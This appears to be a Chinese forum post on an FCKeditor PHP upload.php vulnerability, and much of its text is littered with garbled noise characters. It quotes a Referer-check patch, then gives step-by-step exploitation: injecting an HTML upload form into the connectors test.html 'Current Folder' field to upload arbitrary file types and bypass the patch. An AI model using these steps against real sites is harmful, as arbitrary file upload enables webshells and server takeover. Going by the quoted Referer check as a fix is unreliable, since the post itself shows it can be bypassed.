漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
5 A* b+ r n$ s网上给出的修复方案是
: V; _9 P5 B& O6 @. y修复方法,删除FCK编辑器用其他的编辑器2 ~, A+ l9 H1 g! f* s6 ?& d
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
) E% N i \) M" S( S6 X在: r; I8 y$ N8 S: J6 F! p
require(‘config.php’);) C" c3 E( o6 }4 q) R+ |
require(‘util.php’);( r# f& a) C4 P' @. |- M
的下面添加以下代码—————————–
0 y+ \: M' p5 Q//防止外部提交
, Y; D7 X- @6 _# N& v4 Hfunction outsidepost()! `9 z! E _4 H G8 v$ i
{
$ }1 g! T6 d% x4 S& z$servername=$_SERVER['SERVER_NAME'];
! r7 Y @2 k7 |0 ]: Z+ a; w$sub_from=@$_SERVER['HTTP_REFERER'];
5 m g( R- O, k/ r5 L4 D5 i# l$sub_len=strlen($servername);% Q! i# `/ ^2 G5 }2 J6 y* R
$checkfrom=substr($sub_from,7,$sub_len);% n" H8 Y8 I$ w4 K
if($checkfrom!=$servername){
6 l' J/ {" o( a/ P8 d2 [4 f: I. M. ~echo(“you don’t outsidepost!”);
]# Q% n0 q8 p4 x, D/ Zexit;1 P* n2 U. l5 v8 y0 C: m
}" o. p5 O3 O2 l3 ~8 M/ H* ~1 |8 Y
}
2 z4 z& R( u3 poutsidepost();
, ` x& C4 E# s; U( x6 f+ }& Q7 Y3 E防止外部提交,但是没有防止内部提交,4 ^4 S1 H# X9 H* I, e1 E; B
利用方法:
: O8 j, B r1 I1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
& C, a, [ @; U* p6 j9 f; I2,在Current Folder 框输入1 Q& z; E/ U% k' O, M- c
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>8 r' ^- ?' o0 _: E
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
% A$ Q# p) U; {, hPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |